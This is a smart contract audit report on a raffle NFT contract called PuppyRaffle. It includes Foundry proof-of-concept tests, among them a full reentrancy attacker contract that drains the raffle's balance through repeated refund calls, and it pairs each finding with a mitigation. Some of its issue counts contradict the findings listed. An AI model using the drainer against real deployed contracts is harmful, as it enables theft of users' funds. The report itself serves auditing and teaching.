Puppy Raffle Initial Audit Report

Version 0.1

Cyfrin.io

December 31, 2023

Puppy Raffle Audit Report

Panayot Kostov

December 30, 2023

Puppy Raffle Audit Report

Prepared by: Panayot Kostov Lead Auditors:

- [Panayot Kostov]

Assisting Auditors:

- None

Table of contents

See table

About Panayot Kostov

Web2 NestJS developer and security audit enthusiast.

Disclaimer

The Kostov team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the the findings provided in this document. A security audit by the

team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash:

```
22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

```
./src/
-- PuppyRaffle.sol
```

Protocol Summary

Puppy Rafle is a protocol dedicated to raffling off puppy NFTs with variying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

Roles

- Owner: The only one who can change the `feeAddress`, denominated by the `_owner` variable.
- Fee User: The user who takes a cut of raffle entrance fees. Denominated by the `feeAddress` variable.
- Raffle Entrant: Anyone who enters the raffle. Denominated by being in the `players` array.

Executive Summary

Issues found

Severity	Number of issues found
High	4
Medium	3
Low	0
Info	8
Total	0

Findings

High

[H-1] The contract can be exploited via PuppyRaffle:refund by using reentrancy attack, and stealing all of the contract's balance

Description: The PuppyRaffle:refund is sending the refund to the player, before updating the player's balance in the contract. This could lead to a reetrancy attack. Every contract can do that by calling the refund function in their fallback or receive function which will lead to reentaring the function before updating the player's balance and losing off the contract's balance.

```
1   payable(msg.sender).sendValue(entranceFee);
2   players[playerIndex] = address(0);
```

Impact: The impact is very high, as any smart contract holding Ethereum for gas fees can exploit this vulnerability, with the potential reward far outweighing the associated costs. Consequently, this creates a strong incentive for players to actively attempt to hack the contract.

Proof of Concept:

PoC

```
1           function testRefundReentrancy() public {
2           vm.txGasPrice(1);
3           uint256 numOfPlayers = 5;
4           address[] memory players = new address[](numOfPlayers);
```

```
5           for (uint160 i = 0; i < numOfPlayers; i++) {
6               players[i] = address(i);
7           }
8           puppyRaffle.enterRaffle{value: entranceFee * numOfPlayers}(
                players);
9
10          ReentrancyAttacker reentrancyAttacker = new ReentrancyAttacker(
                puppyRaffle);
11          vm.deal(address(reentrancyAttacker), 10 ether);
12
13          uint256 initialContractBalance = address(puppyRaffle).balance;
14          uint256 initialAttackerBalance = address(reentrancyAttacker).
                balance;
15          console.log("Initial balance 1", initialContractBalance);
16
17          reentrancyAttacker.attack();
18
19          assertEq(address(puppyRaffle).balance, 0);
20          console.log("Initial balance 2", address(puppyRaffle).balance);
21          assertEq(address(reentrancyAttacker).balance,
                initialContractBalance + initialAttackerBalance);
22      }
23  }
24
25  contract ReentrancyAttacker {
26      PuppyRaffle puppyRaffle;
27      uint256 entranceFee;
28      uint256 attackerIndex;
29
30      constructor(PuppyRaffle _puppyRaffle) {
31          puppyRaffle = _puppyRaffle;
32          entranceFee = puppyRaffle.entranceFee();
33      }
34
35      function attack() external payable {
36          address[] memory players = new address[](1);
37          players[0] = address(this);
38          puppyRaffle.enterRaffle{value: entranceFee}(players);
39
40          attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
                ;
41          puppyRaffle.refund(attackerIndex);
42      }
43
44      function _stealMoney() internal {
45          if (address(puppyRaffle).balance >= entranceFee) {
46              puppyRaffle.refund(attackerIndex);
47          }
48      }
49
50      receive() external payable {
```

```
51          _stealMoney();
52      }
53
54      fallback() external payable {
55          _stealMoney();
56      }
57  }
```

By running `forge test --match-test testRefundReentrancy -vvv` we can see that the contract is losing all of it's balance to the attacker.

Recommended Mitigation: The are several solutions to this problem:

1. The most simple one is to just swap the lines of code where we use the call function and where we update the player's balance

```
1  -payable(msg.sender).sendValue(entranceFee);
2  +players[playerIndex] = address(0);
3
4  -players[playerIndex] = address(0);
5  +payable(msg.sender).sendValue(entranceFee);
```

2. Reeantrancy guard can be used - for example the one OpenZeppelin is providing - https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/ReentrancyGuard.sol

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows anyone to choose winner

Description: Hashing `msg.sender`, `block.timestamp`, `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Impact: Any user can choose the winner of the raffle, winning the money and selecting the "rarest" puppy, essentially making it such that all puppies have the same rarity, since you can choose the puppy.

Proof of Concept:

There are a few attack vectors here.

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that knowledge to predict when / how to participate. See the solidity blog on prevrando here. `block.difficulty` was recently replaced with `prevrandao`.
2. Users can manipulate the `msg.sender` value to result in their index being the winner.

Using on-chain values as a randomness seed is a well-known attack vector in the blockchain space.

Recommended Mitigation: Consider using an oracle for your randomness like Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In Solidity versions prior to `0.8.0`, integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max;
// myVar will be 18446744073709551615
myVar = myVar + 1;
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We first conclude a raffle of 4 players to collect some fees. 2. We then have 89 additional players enter a new raffle, and we conclude that raffle as well. 3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. You will now not be able to withdraw, due to this line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

Proof Of Code Place this into the `PuppyRaffleTest.t.sol` file.

```
function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        // We end the raffle
```

```
17          vm.warp(block.timestamp + duration + 1);
18          vm.roll(block.number + 1);
19
20          // And here is where the issue occurs
21          // We will now have fewer fees even though we just finished a
                second raffle
22          puppyRaffle.selectWinner();
23
24          uint256 endingTotalFees = puppyRaffle.totalFees();
25          console.log("ending total fees", endingTotalFees);
26          assert(endingTotalFees < startingTotalFees);
27
28          // We are also unable to withdraw any fees because of the
                require check
29          vm.prank(puppyRaffle.feeAddress());
30          vm.expectRevert("PuppyRaffle: There are currently players
                active!");
31          puppyRaffle.withdrawFees();
32      }
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
1 - pragma solidity ^0.7.6;
2 + pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.

2. Use a `uint256` instead of a `uint64` for `totalFees`.

```
1 - uint64 public totalFees = 0;
2 + uint256 public totalFees = 0;
```

3. Remove the balance check in `PuppyRaffle::withdrawFees`

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

Medium

[M-1] Iterating through the `PuppyRaffle::players` array incurs increasing gas costs with each added player, potentially leading to a Denial of Service (DoS) vulnerability in the `PuppyRaffle::enterRaffle` function.

Description: As the PuppyRaffle::enterRaffle function checks the PuppyRaffle::players array for duplicates, the gas costs for new participants rise with the array's length. This leads to considerably lower gas expenses for players joining the raffle early compared to those entering late. The addition of each extra address in the PuppyRaffle::players array requires an additional check in the loop, contributing to the observed discrepancy in gas costs.

```
// @audit Dos attack
 for (uint256 i = 0; i < players.length - 1; i++) {
    for (uint256 j = i + 1; j < players.length; j++) {
        require(players[i] != players[j], "PuppyRaffle: Duplicate
           player");
         }
        }
```

Impact: The impact is two-fold. The gas costs for raffle entrants will greatly increase as more players enter the raffle. Front-running opportunities are created for malicious users to increase the gas costs of other users, so their transaction fails.

Proof of Concept:

PoC // Check for duplicates

```
        function testEnterRaffleDoS() public {
        vm.txGasPrice(1);
        uint256 numOfPlayers = 100;
        address[] memory players = new address[](numOfPlayers);

        for (uint160 i = 0; i < numOfPlayers; i++) {
            players[i] = address(i);
        }

        //see how much gas it gosts
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * numOfPlayers}(
           players);
        uint256 gasEnd = gasleft();
        uint256 gas = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas log of the first: ", gas);

        //for the second 100 players
        address[] memory playersDoS = new address[](numOfPlayers);

```

```
20          for (uint160 i = 0; i < numOfPlayers; i++) {
21              playersDoS[i] = address(i + numOfPlayers);
22          }
23
24          uint256 gasStartDoS = gasleft();
25          puppyRaffle.enterRaffle{value: entranceFee * numOfPlayers}(
                playersDoS);
26          uint256 gasEndDoS = gasleft();
27          uint256 gasDos = (gasStartDoS - gasEndDoS) * tx.gasprice;
28          console.log("Gas log of the second: ", gasDos);
29
30          assert(gas < gasDos);
31      }
```

By running `forge test --match-test testEnterRaffleDoS -vvv` we can see that the cost for the second set of 100 players to enter has almost tripled compared to the first set of 100 players.

Recommended Mitigation:

```
1. Consider allowing duplicates. Users can make new wallet addresses
    anyways, so a duplicate check doesn't prevent the same person from
    entering multiple times, only the same wallet address.
2. More efficient data structure like a map can be used where the check
     for duplication happens in a constant time.
```

```
+     mapping(address => uint256) public addressToRaffleId;
+     uint256 public raffleId = 0;
      .
      .
      .
      function enterRaffle(address[] memory newPlayers) public payable {
          require(msg.value == entranceFee * newPlayers.length, "
              PuppyRaffle: Must send enough to enter raffle");
          for (uint256 i = 0; i < newPlayers.length; i++) {
              players.push(newPlayers[i]);
+             addressToRaffleId[newPlayers[i]] = raffleId;
          }

-         // Check for duplicates
+         // Check for duplicates only from the new players
+         for (uint256 i = 0; i < newPlayers.length; i++) {
+            require(addressToRaffleId[newPlayers[i]] != raffleId, "
    PuppyRaffle: Duplicate player");
+         }
-         for (uint256 i = 0; i < players.length; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
-                 require(players[i] != players[j], "PuppyRaffle:
    Duplicate player");
-             }
```

```
22 -         }
23           emit RaffleEnter(newPlayers);
24       }
25 .
26 .
27 .
28       function selectWinner() external {
29 +         raffleId = raffleId + 1;
30           require(block.timestamp >= raffleStartTime + raffleDuration, "
                PuppyRaffle: Raffle not over");
```

Alternatively, you could use OpenZeppelin's EnumerableSet library.

[M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a `payable` fallback or `receive` function, you'd think this wouldn't be possible, but a user could `selfdesctruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
1       function withdrawFees() external {
2   @>      require(address(this).balance == uint256(totalFees), "
        PuppyRaffle: There are currently players active!");
3           uint256 feesToWithdraw = totalFees;
4           totalFees = 0;
5           (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6           require(success, "PuppyRaffle: Failed to withdraw fees");
7       }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in it's balance, and 800 totalFees.
2. Malicious user sends 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
1       function withdrawFees() external {
2   -       require(address(this).balance == uint256(totalFees), "
        PuppyRaffle: There are currently players active!");
```

```
3           uint256 feesToWithdraw = totalFees;
4           totalFees = 0;
5           (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6           require(success, "PuppyRaffle: Failed to withdraw fees");
7       }
8
9
10  ### [M-3] Unsafe cast of `PuppyRaffle::fee` loses fees
11
12  **Description:** In `PuppyRaffle::selectWinner` their is a type cast of
        a `uint256` to a `uint64`. This is an unsafe cast, and if the `
    uint256` is larger than `type(uint64).max`, the value will be
    truncated.
13
14  ```javascript
15      function selectWinner() external {
16          require(block.timestamp >= raffleStartTime + raffleDuration, "
                PuppyRaffle: Raffle not over");
17          require(players.length > 0, "PuppyRaffle: No players in raffle"
                );
18
19          uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
                sender, block.timestamp, block.difficulty))) % players.
                length;
20          address winner = players[winnerIndex];
21          uint256 fee = totalFees / 10;
22          uint256 winnings = address(this).balance - fee;
23  @>      totalFees = totalFees + uint64(fee);
24          players = new address[](0);
25          emit RaffleWinner(winner, winnings);
26      }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-4] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)

2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

Informational / Non-Critical

[I-1] Floating pragmas

Description: Contracts should use strict versions of solidity. Locking the version ensures that contracts are not deployed with a different version of solidity than they were tested with. An incorrect version could lead to uninteded results.

https://swcregistry.io/docs/SWC-103/

Recommended Mitigation: Lock up pragma versions.

```
- pragma solidity ^0.7.6;
+ pragma solidity 0.7.6;
```

[I-2] Magic Numbers

Description: All number literals should be replaced with constants. This makes the code more readable and easier to maintain. Numbers without context are called “magic numbers”.

Recommended Mitigation: Replace all magic numbers with constants.

```
+       uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
+       uint256 public constant FEE_PERCENTAGE = 20;
+       uint256 public constant TOTAL_PERCENTAGE = 100;
.
.
.
-        uint256 prizePool = (totalAmountCollected * 80) / 100;
-        uint256 fee = (totalAmountCollected * 20) / 100;
         uint256 prizePool = (totalAmountCollected *
            PRIZE_POOL_PERCENTAGE) / TOTAL_PERCENTAGE;
         uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
            TOTAL_PERCENTAGE;
```

[I-3] Test Coverage

Description: The test coverage of the tests are below 90%. This often means that there are parts of the code that are not tested.

```
| File                                | % Lines        | % Statements
  | % Branches     | % Funcs       |
| ----------------------------------- | -------------- | --------------
  | -------------- | ------------- |
| script/DeployPuppyRaffle.sol        | 0.00% (0/3)    | 0.00% (0/4)
  | 100.00% (0/0)  | 0.00% (0/1)   |
| src/PuppyRaffle.sol                 | 82.46% (47/57) | 83.75% (67/80)
  | 66.67% (20/30) | 77.78% (7/9)  |
| test/auditTests/ProofOfCodes.t.sol  | 100.00% (7/7)  | 100.00% (8/8)
  | 50.00% (1/2)   | 100.00% (2/2) |
| Total                               | 80.60% (54/67) | 81.52% (75/92)
  | 65.62% (21/32) | 75.00% (9/12) |
```

Recommended Mitigation: Increase test coverage to 90% or higher, especially for the `Branches` column.

[I-4] Zero address validation

Description: The `PuppyRaffle` contract does not validate that the `feeAddress` is not the zero address. This means that the `feeAddress` could be set to the zero address, and fees would be lost.

```
PuppyRaffle.constructor(uint256,address,uint256)._feeAddress (src/
   PuppyRaffle.sol#57) lacks a zero-check on :
                - feeAddress = _feeAddress (src/PuppyRaffle.sol#59)
PuppyRaffle.changeFeeAddress(address).newFeeAddress (src/PuppyRaffle.
   sol#165) lacks a zero-check on :
                - feeAddress = newFeeAddress (src/PuppyRaffle.sol#166)
```

Recommended Mitigation: Add a zero address check whenever the `feeAddress` is updated.

[I-5] _isActivePlayer is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```

[I-6] Unchanged variables should be constant or immutable

Constant Instances:

```
1 PuppyRaffle.commonImageUri (src/PuppyRaffle.sol#35) should be constant
2 PuppyRaffle.legendaryImageUri (src/PuppyRaffle.sol#45) should be
     constant
3 PuppyRaffle.rareImageUri (src/PuppyRaffle.sol#40) should be constant
```

Immutable Instances:

```
1 PuppyRaffle.raffleDuration (src/PuppyRaffle.sol#21) should be immutable
```

[I-7] Potentially erroneous active player index

Description: The `getActivePlayerIndex` function is intended to return zero when the given address is not active. However, it could also return zero for an active address stored in the first slot of the `players` array. This may cause confusions for users querying the function to obtain the index of an active player.

Recommended Mitigation: Return 2**256-1 (or any other sufficiently high number) to signal that the given player is inactive, so as to avoid collision with indices of active players.

[I-8] Zero address may be erroneously considered an active player

Description: The `refund` function removes active players from the `players` array by setting the corresponding slots to zero. This is confirmed by its documentation, stating that "This function will allow there to be blank spots in the array". However, this is not taken into account by the `getActivePlayerIndex` function. If someone calls `getActivePlayerIndex` passing the zero address after there's been a refund, the function will consider the zero address an active player, and return its index in the `players` array.

Recommended Mitigation: Skip zero addresses when iterating the `players` array in the `getActivePlayerIndex`. Do note that this change would mean that the zero address can *never* be an active player. Therefore, it would be best if you also prevented the zero address from being registered as a valid player in the `enterRaffle` function.

Gas (Optional)

// TODO

- `getActivePlayerIndex` returning 0. Is it the player at index 0? Or is it invalid.
- MEV with the refund function.
- MEV with withdrawfees
- randomness for rarity issue
- reentrancy puppy raffle before safemint (it looks ok actually, potentially informational)